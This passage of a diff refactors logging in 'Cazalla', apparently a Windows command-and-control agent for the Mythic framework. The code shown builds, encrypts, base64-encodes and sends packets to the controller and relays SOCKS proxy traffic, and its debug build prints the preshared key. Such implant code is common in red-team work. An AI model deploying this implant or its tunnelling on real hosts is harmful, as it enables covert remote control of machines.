#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
|
} \
|
||||||
CHAR out[200] = { 0 };\
|
} while(0)
|
||||||
sprintf(out, format"\n", ## __VA_ARGS__);\
|
#else
|
||||||
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
|
/* Console-based logging (default) */
|
||||||
CloseHandle(debugFile);}
|
#define _log(level, format, ...) do { \
|
||||||
|
printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
|
||||||
|
fflush(stdout); \
|
||||||
|
} while(0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Level-specific macros */
|
||||||
|
#if ENABLE_DBG
|
||||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define _dbg(format, ...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||||
|
|
||||||
|
#if ENABLE_WRN
|
||||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define _wrn(format, ...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if ENABLE_INF
|
||||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||||
#else
|
#else
|
||||||
#define DBG
|
#define _inf(format, ...) ((void)0)
|
||||||
#define ERR
|
#endif
|
||||||
#define WRN
|
|
||||||
#define INF
|
#else
|
||||||
#define _log(level, format, ...)
|
|
||||||
#define _dbg(format, ...)
|
/* Release build: no debug output */
|
||||||
#define _err(format, ...)
|
#define _log(level, format, ...) ((void)0)
|
||||||
#define _wrn(format, ...)
|
#define _dbg(format, ...) ((void)0)
|
||||||
#define _inf(format, ...)
|
#define _err(format, ...) ((void)0)
|
||||||
|
#define _wrn(format, ...) ((void)0)
|
||||||
|
#define _inf(format, ...) ((void)0)
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -1,18 +1,14 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
printf("=== CAZALLA AGENT STARTING ===\n");
|
_inf("=== CAZALLA AGENT STARTING ===");
|
||||||
fflush(stdout);
|
|
||||||
#ifdef AESPSK
|
#ifdef AESPSK
|
||||||
printf("AESPSK: %s\n", AESPSK);
|
_inf("AESPSK: %s", AESPSK);
|
||||||
fflush(stdout);
|
|
||||||
#endif
|
#endif
|
||||||
Sleep(2000); // Pausa 2 segundos para ver si inicia
|
Sleep(2000); // Pausa 2 segundos para ver si inicia
|
||||||
cazallaMain();
|
cazallaMain();
|
||||||
printf("=== CAZALLA AGENT EXITING ===\n");
|
_inf("=== CAZALLA AGENT EXITING ===");
|
||||||
fflush(stdout);
|
_inf("Press any key to exit...");
|
||||||
printf("Press any key to exit...\n");
|
|
||||||
getchar();
|
getchar();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,15 +3,9 @@
|
|||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
|
|
||||||
#ifdef DEBUG_SOCKS
|
|
||||||
#define DBG_PRINTF(...) do { fprintf(stderr, "[PAQDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
|
||||||
#else
|
|
||||||
#define DBG_PRINTF(...) ((void)0)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||||
DBG_PRINTF("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
|
_dbg("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
|
||||||
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||||
if (!paquete) {
|
if (!paquete) {
|
||||||
_err("Error: fallo al asignar memoria para Paquete\n");
|
_err("Error: fallo al asignar memoria para Paquete\n");
|
||||||
@@ -32,7 +26,7 @@ PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
VOID liberarPaquete(PPaquete paquete) {
|
VOID liberarPaquete(PPaquete paquete) {
|
||||||
DBG_PRINTF("liberarPaquete()");
|
_dbg("liberarPaquete()");
|
||||||
LocalFree(paquete->buffer);
|
LocalFree(paquete->buffer);
|
||||||
LocalFree(paquete);
|
LocalFree(paquete);
|
||||||
}
|
}
|
||||||
@@ -40,8 +34,7 @@ VOID liberarPaquete(PPaquete paquete) {
|
|||||||
/* Callback C para volcar mensajes SOCKS al paquete */
|
/* Callback C para volcar mensajes SOCKS al paquete */
|
||||||
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
|
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
|
||||||
PPaquete pkt = (PPaquete)ctx;
|
PPaquete pkt = (PPaquete)ctx;
|
||||||
printf("[SOCKS] flush_socks_cb: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len);
|
_dbg("flush_socks_cb: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
||||||
fflush(stdout);
|
|
||||||
addInt32(pkt, server_id);
|
addInt32(pkt, server_id);
|
||||||
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
|
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
|
||||||
if (data_len && data) {
|
if (data_len && data) {
|
||||||
@@ -53,54 +46,44 @@ static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned cha
|
|||||||
} else {
|
} else {
|
||||||
addInt32(pkt, 0);
|
addInt32(pkt, 0);
|
||||||
}
|
}
|
||||||
printf("[SOCKS] flush_socks_cb completed\n");
|
_dbg("flush_socks_cb completed");
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* === Nueva función: inserta tráfico SOCKS pendiente === */
|
/* === Nueva función: inserta tráfico SOCKS pendiente === */
|
||||||
static VOID flushSocksTraffic(PPaquete paquete) {
|
static VOID flushSocksTraffic(PPaquete paquete) {
|
||||||
printf("[PAQUETE] flushSocksTraffic()\n");
|
_dbg("flushSocksTraffic()");
|
||||||
fflush(stdout);
|
|
||||||
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
|
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
|
||||||
PPaquete temp = nuevoPaquete(0, FALSE);
|
PPaquete temp = nuevoPaquete(0, FALSE);
|
||||||
if (!temp) {
|
if (!temp) {
|
||||||
printf("[PAQUETE] ERROR: nuevoPaquete temp failed\n");
|
_err("nuevoPaquete temp failed");
|
||||||
fflush(stdout);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
printf("[PAQUETE] temp paquete created\n");
|
_dbg("temp paquete created");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
|
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
|
||||||
printf("[PAQUETE] socks_manager_flush_outgoing done, temp->length=%zu\n", temp->length);
|
_dbg("socks_manager_flush_outgoing done, temp->length=%zu", temp->length);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
if (temp->length > 0) {
|
if (temp->length > 0) {
|
||||||
printf("[PAQUETE] Adding SOCKS block marker\n");
|
_dbg("Adding SOCKS block marker");
|
||||||
fflush(stdout);
|
|
||||||
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
|
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
|
||||||
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
|
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
|
||||||
addInt32(paquete, (UINT32)temp->length);
|
addInt32(paquete, (UINT32)temp->length);
|
||||||
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
|
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
|
||||||
}
|
}
|
||||||
liberarPaquete(temp);
|
liberarPaquete(temp);
|
||||||
printf("[PAQUETE] flushSocksTraffic() completed\n");
|
_dbg("flushSocksTraffic() completed");
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* === Enviar paquete con soporte SOCKS === */
|
/* === Enviar paquete con soporte SOCKS === */
|
||||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||||
printf("[PAQUETE] mandarPaquete() len=%zu\n", paquete->length);
|
_dbg("mandarPaquete() len=%zu", paquete->length);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Solo añadir tráfico SOCKS si el proxy está activo
|
// Solo añadir tráfico SOCKS si el proxy está activo
|
||||||
if (socks_proxy_active) {
|
if (socks_proxy_active) {
|
||||||
printf("[PAQUETE] SOCKS activo, flushSocksTraffic()\n");
|
_dbg("SOCKS activo, flushSocksTraffic()");
|
||||||
fflush(stdout);
|
|
||||||
flushSocksTraffic(paquete);
|
flushSocksTraffic(paquete);
|
||||||
} else {
|
} else {
|
||||||
printf("[PAQUETE] SOCKS inactivo, saltando flushSocksTraffic()\n");
|
_dbg("SOCKS inactivo, saltando flushSocksTraffic()");
|
||||||
fflush(stdout);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// === Handle encryption according to Mythic format ===
|
// === Handle encryption according to Mythic format ===
|
||||||
@@ -110,7 +93,7 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
SIZE_T tamanoAEnviar = 0;
|
SIZE_T tamanoAEnviar = 0;
|
||||||
|
|
||||||
if (crypto_is_encryption_enabled()) {
|
if (crypto_is_encryption_enabled()) {
|
||||||
printf("[PAQUETE] Cifrado habilitado, formato: Base64(UUID + AES256(data))\n");
|
_inf("Cifrado habilitado, formato: Base64(UUID + AES256(data))");
|
||||||
|
|
||||||
// Extract UUID - UUID is always 36 characters (UUIDv4 format)
|
// Extract UUID - UUID is always 36 characters (UUIDv4 format)
|
||||||
// Format: [UUID(36)][command_byte][rest...]
|
// Format: [UUID(36)][command_byte][rest...]
|
||||||
@@ -118,7 +101,7 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
const SIZE_T UUID_LENGTH = 36;
|
const SIZE_T UUID_LENGTH = 36;
|
||||||
|
|
||||||
if (paquete->length < UUID_LENGTH + 1) {
|
if (paquete->length < UUID_LENGTH + 1) {
|
||||||
printf("[PAQUETE] ERROR: Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)\n",
|
_err("Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)",
|
||||||
paquete->length, UUID_LENGTH + 1);
|
paquete->length, UUID_LENGTH + 1);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@@ -131,32 +114,30 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
// Log UUID extraction with detailed info
|
// Log UUID extraction with detailed info
|
||||||
char uuidBuf[37] = {0};
|
char uuidBuf[37] = {0};
|
||||||
memcpy(uuidBuf, uuidStr, UUID_LENGTH);
|
memcpy(uuidBuf, uuidStr, UUID_LENGTH);
|
||||||
printf("[PAQUETE] === EXTRACTING UUID ===\n");
|
_dbg("=== EXTRACTING UUID ===");
|
||||||
printf("[PAQUETE] Tamaño total del paquete: %zu bytes\n", paquete->length);
|
_dbg("Tamaño total del paquete: %zu bytes", paquete->length);
|
||||||
printf("[PAQUETE] UUID extraído: %s (length: %zu)\n", uuidBuf, UUID_LENGTH);
|
_dbg("UUID extraído: %s (length: %zu)", uuidBuf, UUID_LENGTH);
|
||||||
printf("[PAQUETE] Data offset (after UUID): %zu\n", dataOffset);
|
_dbg("Data offset (after UUID): %zu", dataOffset);
|
||||||
printf("[PAQUETE] Datos a cifrar: %zu bytes\n", dataLength);
|
_dbg("Datos a cifrar: %zu bytes", dataLength);
|
||||||
|
|
||||||
// Log raw packet structure
|
// Log raw packet structure
|
||||||
printf("[PAQUETE] Raw packet structure (first 60 bytes, hex): ");
|
_dbg("Raw packet structure (first 60 bytes, hex): ");
|
||||||
for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) {
|
for (size_t i = 0; i < (paquete->length > 60 ? 60 : paquete->length); i++) {
|
||||||
printf("%02x ", ((PBYTE)paquete->buffer)[i]);
|
_dbg(" %02x ", ((PBYTE)paquete->buffer)[i]);
|
||||||
if ((i + 1) % 16 == 0) printf("\n[PAQUETE] ");
|
if ((i + 1) % 16 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Create a temporary package with only the data part (without UUID)
|
// Create a temporary package with only the data part (without UUID)
|
||||||
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||||
if (!dataPackage) {
|
if (!dataPackage) {
|
||||||
printf("[PAQUETE] ERROR: Failed to allocate data package\n");
|
_err("Failed to allocate data package");
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
dataPackage->buffer = LocalAlloc(LPTR, dataLength);
|
dataPackage->buffer = LocalAlloc(LPTR, dataLength);
|
||||||
if (!dataPackage->buffer) {
|
if (!dataPackage->buffer) {
|
||||||
LocalFree(dataPackage);
|
LocalFree(dataPackage);
|
||||||
printf("[PAQUETE] ERROR: Failed to allocate data buffer\n");
|
_err("Failed to allocate data buffer");
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -164,42 +145,37 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
dataPackage->length = dataLength;
|
dataPackage->length = dataLength;
|
||||||
|
|
||||||
// Log data to encrypt
|
// Log data to encrypt
|
||||||
printf("[PAQUETE] === DATA TO ENCRYPT (without UUID) ===\n");
|
_dbg("=== DATA TO ENCRYPT (without UUID) ===");
|
||||||
printf("[PAQUETE] Data length: %zu bytes\n", dataPackage->length);
|
_dbg("Data length: %zu bytes", dataPackage->length);
|
||||||
printf("[PAQUETE] Data preview (hex, first 64 bytes): ");
|
_dbg("Data preview (hex, first 64 bytes): ");
|
||||||
for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) {
|
for (size_t i = 0; i < (dataPackage->length > 64 ? 64 : dataPackage->length); i++) {
|
||||||
printf("%02x ", ((PBYTE)dataPackage->buffer)[i]);
|
_dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
|
||||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
_dbg("First byte of data (should be command byte): 0x%02X",
|
||||||
printf("[PAQUETE] First byte of data (should be command byte): 0x%02X\n",
|
|
||||||
dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
|
dataPackage->length > 0 ? ((PBYTE)dataPackage->buffer)[0] : 0);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Encrypt only the data part (without UUID)
|
// Encrypt only the data part (without UUID)
|
||||||
printf("[PAQUETE] === STARTING ENCRYPTION ===\n");
|
_inf("=== STARTING ENCRYPTION ===");
|
||||||
printf("[PAQUETE] Calling CryptoMythicEncryptPackage() with %zu bytes...\n", dataPackage->length);
|
_dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
if (!CryptoMythicEncryptPackage(dataPackage)) {
|
if (!CryptoMythicEncryptPackage(dataPackage)) {
|
||||||
printf("[PAQUETE] ERROR: Falló el cifrado\n");
|
_err("Falló el cifrado");
|
||||||
LocalFree(dataPackage->buffer);
|
LocalFree(dataPackage->buffer);
|
||||||
LocalFree(dataPackage);
|
LocalFree(dataPackage);
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[PAQUETE] === ENCRYPTION COMPLETE ===\n");
|
_inf("=== ENCRYPTION COMPLETE ===");
|
||||||
printf("[PAQUETE] Datos cifrados: %zu bytes (original: %zu bytes)\n",
|
_dbg("Datos cifrados: %zu bytes (original: %zu bytes)",
|
||||||
dataPackage->length, dataLength);
|
dataPackage->length, dataLength);
|
||||||
|
|
||||||
// Log encrypted data preview
|
// Log encrypted data preview
|
||||||
printf("[PAQUETE] Encrypted data preview (hex, first 80 bytes): ");
|
_dbg("Encrypted data preview (hex, first 80 bytes): ");
|
||||||
for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) {
|
for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) {
|
||||||
printf("%02x ", ((PBYTE)dataPackage->buffer)[i]);
|
_dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
|
||||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Concatenate UUID + encrypted data
|
// Concatenate UUID + encrypted data
|
||||||
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
|
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
|
||||||
@@ -207,79 +183,75 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
if (!finalBuffer) {
|
if (!finalBuffer) {
|
||||||
LocalFree(dataPackage->buffer);
|
LocalFree(dataPackage->buffer);
|
||||||
LocalFree(dataPackage);
|
LocalFree(dataPackage);
|
||||||
printf("[PAQUETE] ERROR: Failed to allocate final buffer\n");
|
_err("Failed to allocate final buffer");
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[PAQUETE] === CONCATENATING UUID + ENCRYPTED DATA ===\n");
|
_dbg("=== CONCATENATING UUID + ENCRYPTED DATA ===");
|
||||||
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
|
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
|
||||||
printf("[PAQUETE] Copied UUID (%zu bytes) to final buffer\n", UUID_LENGTH);
|
_dbg("Copied UUID (%zu bytes) to final buffer", UUID_LENGTH);
|
||||||
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
|
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
|
||||||
printf("[PAQUETE] Copied encrypted data (%zu bytes) to final buffer at offset %zu\n",
|
_dbg("Copied encrypted data (%zu bytes) to final buffer at offset %zu",
|
||||||
dataPackage->length, UUID_LENGTH);
|
dataPackage->length, UUID_LENGTH);
|
||||||
|
|
||||||
datosAEnviar = finalBuffer;
|
datosAEnviar = finalBuffer;
|
||||||
tamanoAEnviar = finalSize;
|
tamanoAEnviar = finalSize;
|
||||||
|
|
||||||
printf("[PAQUETE] === FINAL BUFFER READY ===\n");
|
_dbg("=== FINAL BUFFER READY ===");
|
||||||
printf("[PAQUETE] Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)\n",
|
_dbg("Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)",
|
||||||
finalSize, UUID_LENGTH, dataPackage->length);
|
finalSize, UUID_LENGTH, dataPackage->length);
|
||||||
|
|
||||||
// Log first bytes of final buffer (show UUID + start of encrypted data)
|
// Log first bytes of final buffer (show UUID + start of encrypted data)
|
||||||
printf("[PAQUETE] Final buffer preview (hex, first 100 bytes): ");
|
_dbg("Final buffer preview (hex, first 100 bytes): ");
|
||||||
for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) {
|
for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) {
|
||||||
printf("%02x ", finalBuffer[i]);
|
_dbg(" %02x ", finalBuffer[i]);
|
||||||
if (i == UUID_LENGTH - 1) {
|
if (i == UUID_LENGTH - 1) {
|
||||||
printf("| "); // Mark where UUID ends
|
_dbg("| "); // Mark where UUID ends
|
||||||
}
|
}
|
||||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Log final buffer as readable string (first part should be UUID)
|
// Log final buffer as readable string (first part should be UUID)
|
||||||
char finalPreview[101] = {0};
|
char finalPreview[101] = {0};
|
||||||
size_t previewLen = finalSize > 100 ? 100 : finalSize;
|
size_t previewLen = finalSize > 100 ? 100 : finalSize;
|
||||||
memcpy(finalPreview, finalBuffer, previewLen);
|
memcpy(finalPreview, finalBuffer, previewLen);
|
||||||
printf("[PAQUETE] Final buffer preview (ASCII, first 100 bytes): %.*s\n",
|
_dbg("Final buffer preview (ASCII, first 100 bytes): %.*s",
|
||||||
(int)previewLen, finalPreview);
|
(int)previewLen, finalPreview);
|
||||||
printf("[PAQUETE] First 36 chars should be UUID: %.*s\n", 36, finalPreview);
|
_dbg("First 36 chars should be UUID: %.*s", 36, finalPreview);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// Cleanup temporary package
|
// Cleanup temporary package
|
||||||
LocalFree(dataPackage->buffer);
|
LocalFree(dataPackage->buffer);
|
||||||
LocalFree(dataPackage);
|
LocalFree(dataPackage);
|
||||||
} else {
|
} else {
|
||||||
printf("[PAQUETE] Cifrado deshabilitado, enviando plaintext completo\n");
|
_inf("Cifrado deshabilitado, enviando plaintext completo");
|
||||||
datosAEnviar = (PBYTE)paquete->buffer;
|
datosAEnviar = (PBYTE)paquete->buffer;
|
||||||
tamanoAEnviar = paquete->length;
|
tamanoAEnviar = paquete->length;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Codificar en base64
|
// Codificar en base64
|
||||||
printf("[PAQUETE] === BASE64 ENCODING ===\n");
|
_dbg("=== BASE64 ENCODING ===");
|
||||||
printf("[PAQUETE] Binary size to encode: %zu bytes\n", tamanoAEnviar);
|
_dbg("Binary size to encode: %zu bytes", tamanoAEnviar);
|
||||||
|
|
||||||
// Log binary data before base64
|
// Log binary data before base64
|
||||||
printf("[PAQUETE] Binary data preview (hex, first 80 bytes): ");
|
_dbg("Binary data preview (hex, first 80 bytes): ");
|
||||||
for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) {
|
for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) {
|
||||||
printf("%02x ", datosAEnviar[i]);
|
_dbg(" %02x ", datosAEnviar[i]);
|
||||||
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] ");
|
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
|
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
|
||||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
|
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
|
||||||
|
|
||||||
if (!paqueteParaMandar) {
|
if (!paqueteParaMandar) {
|
||||||
printf("[PAQUETE] ERROR: b64Codificado returned NULL\n");
|
_err("b64Codificado returned NULL");
|
||||||
fflush(stdout);
|
|
||||||
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
|
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
|
||||||
LocalFree(datosAEnviar);
|
LocalFree(datosAEnviar);
|
||||||
}
|
}
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[PAQUETE] Base64 encoding complete\n");
|
_dbg("Base64 encoding complete");
|
||||||
printf("[PAQUETE] Tamaño después de base64: %zu bytes (expected: ~%zu bytes)\n",
|
_dbg("Tamaño después de base64: %zu bytes (expected: ~%zu bytes)",
|
||||||
tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3);
|
tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3);
|
||||||
|
|
||||||
// Log base64 preview with more detail
|
// Log base64 preview with more detail
|
||||||
@@ -287,18 +259,17 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete;
|
size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete;
|
||||||
char preview[101] = {0};
|
char preview[101] = {0};
|
||||||
memcpy(preview, paqueteParaMandar, previewLen);
|
memcpy(preview, paqueteParaMandar, previewLen);
|
||||||
printf("[PAQUETE] Base64 preview (first %zu chars): %s\n", previewLen, preview);
|
_dbg("Base64 preview (first %zu chars): %s", previewLen, preview);
|
||||||
if (tamanoDelPaquete > 100) {
|
if (tamanoDelPaquete > 100) {
|
||||||
printf("[PAQUETE] ... (total %zu chars)\n", tamanoDelPaquete);
|
_dbg("... (total %zu chars)", tamanoDelPaquete);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Show where UUID should be in base64 (first 48 chars should be UUID base64)
|
// Show where UUID should be in base64 (first 48 chars should be UUID base64)
|
||||||
printf("[PAQUETE] First 48 chars of base64 (should contain UUID): %.*s\n",
|
_dbg("First 48 chars of base64 (should contain UUID): %.*s",
|
||||||
48, paqueteParaMandar);
|
48, paqueteParaMandar);
|
||||||
}
|
}
|
||||||
printf("[PAQUETE] === READY TO SEND ===\n");
|
_inf("=== READY TO SEND ===");
|
||||||
printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete);
|
_dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
|
||||||
fflush(stdout);
|
|
||||||
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||||
LocalFree(paqueteParaMandar);
|
LocalFree(paqueteParaMandar);
|
||||||
|
|
||||||
@@ -308,21 +279,18 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!respuesta) {
|
if (!respuesta) {
|
||||||
printf("[PAQUETE] ERROR: respuesta NULL\n");
|
_err("respuesta NULL");
|
||||||
fflush(stdout);
|
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[PAQUETE] respuesta OK\n");
|
_dbg("respuesta OK");
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// === Decodificar base64 de la respuesta ===
|
// === Decodificar base64 de la respuesta ===
|
||||||
// When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts
|
// When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts
|
||||||
// the response, but the agent still receives it base64-encoded from HTTP.
|
// the response, but the agent still receives it base64-encoded from HTTP.
|
||||||
// The agent will handle decryption AFTER base64 decode if needed.
|
// The agent will handle decryption AFTER base64 decode if needed.
|
||||||
if (respuesta && respuesta->original && respuesta->tamano > 0) {
|
if (respuesta && respuesta->original && respuesta->tamano > 0) {
|
||||||
printf("[PAQUETE] Decodificando base64 de %zu bytes...\n", respuesta->tamano);
|
_dbg("Decodificando base64 de %zu bytes...", respuesta->tamano);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
PBYTE datosDecodificados = NULL;
|
PBYTE datosDecodificados = NULL;
|
||||||
SIZE_T tamanoDecodificado = 0;
|
SIZE_T tamanoDecodificado = 0;
|
||||||
@@ -335,40 +303,38 @@ PAnalizador mandarPaquete(PPaquete paquete) {
|
|||||||
|
|
||||||
// Decodificar
|
// Decodificar
|
||||||
if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) {
|
if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) {
|
||||||
printf("[PAQUETE] Base64 decodificado: %zu bytes\n", tamanoDecodificado);
|
_dbg("Base64 decodificado: %zu bytes", tamanoDecodificado);
|
||||||
fflush(stdout);
|
|
||||||
|
|
||||||
// === Decrypt if encryption is enabled ===
|
// === Decrypt if encryption is enabled ===
|
||||||
if (crypto_is_encryption_enabled()) {
|
if (crypto_is_encryption_enabled()) {
|
||||||
printf("[PAQUETE] === DECRYPTING RESPONSE ===\n");
|
_inf("=== DECRYPTING RESPONSE ===");
|
||||||
printf("[PAQUETE] Base64 decoded size: %zu bytes\n", tamanoDecodificado);
|
_dbg("Base64 decoded size: %zu bytes", tamanoDecodificado);
|
||||||
|
|
||||||
// Log raw data before decryption
|
// Log raw data before decryption
|
||||||
printf("[PAQUETE] Raw response before decryption (hex, first 80 bytes): ");
|
_dbg("Raw response before decryption (hex, first 80 bytes): ");
|
||||||
for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) {
|
